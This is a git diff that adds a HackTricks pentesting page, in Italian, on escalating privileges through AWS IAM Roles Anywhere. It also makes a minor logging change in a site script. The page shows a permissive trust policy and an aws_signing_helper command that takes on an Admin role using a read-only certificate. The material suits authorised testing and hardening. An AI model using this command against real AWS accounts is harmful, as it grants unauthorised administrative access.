diff --git a/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md new file mode 100644 index 000000000..f13d23aa2 --- /dev/null +++ b/src/pentesting-cloud/aws-security/aws-privilege-escalation/aws-iam-roles-anywhere-privesc.md @@ -0,0 +1,42 @@ +# AWS - IAM Roles Anywhere Privesc + +{{#include ../../../../banners/hacktricks-training.md}} + +AWS IAM RolesAnywhere consente ai carichi di lavoro al di fuori di AWS di assumere ruoli IAM utilizzando certificati X.509. Ma quando le politiche di fiducia non sono correttamente definite, possono essere sfruttate per l'escalation dei privilegi. + +Questa politica manca di restrizioni su quali ancore di fiducia o attributi del certificato sono consentiti. Di conseguenza, qualsiasi certificato legato a qualsiasi ancoraggio di fiducia nell'account può essere utilizzato per assumere questo ruolo. +```json +{ +"Version": "2012-10-17", +"Statement": [ +{ +"Effect": "Allow", +"Principal": { +"Service": "rolesanywhere.amazonaws.com" +}, +"Action": [ +"sts:AssumeRole", +"sts:SetSourceIdentity", +"sts:TagSession" +] +} +] +} + +``` +Per il privesc, è necessario `aws_signing_helper` da https://docs.aws.amazon.com/rolesanywhere/latest/userguide/credential-helper.html + +Quindi, utilizzando un certificato valido, l'attaccante può passare al ruolo con privilegi superiori. +```bash +aws_signing_helper credential-process \ +--certificate readonly.pem \ +--private-key readonly.key \ +--trust-anchor-arn arn:aws:rolesanywhere:us-east-1:123456789012:trust-anchor/ta-id \ +--profile-arn arn:aws:rolesanywhere:us-east-1:123456789012:profile/default \ +--role-arn arn:aws:iam::123456789012:role/Admin +``` +### Riferimenti + +- https://www.ruse.tech/blogs/aws-roles-anywhere-privilege-escalation/ + +{{#include ../../../../banners/hacktricks-training.md}} diff --git a/theme/ai.js b/theme/ai.js index c94992d5f..13337c3f1 100644 --- a/theme/ai.js +++ b/theme/ai.js @@ -226,7 +226,7 @@ `threadId=${threadId}; Path=/; Secure; SameSite=Strict; Max-Age=7200`; } catch (e) { console.error("Error creating threadId:", e); - alert("Failed to initialise the conversation. Please refresh."); + console.log("Failed to initialise the conversation. Please refresh."); throw e; } }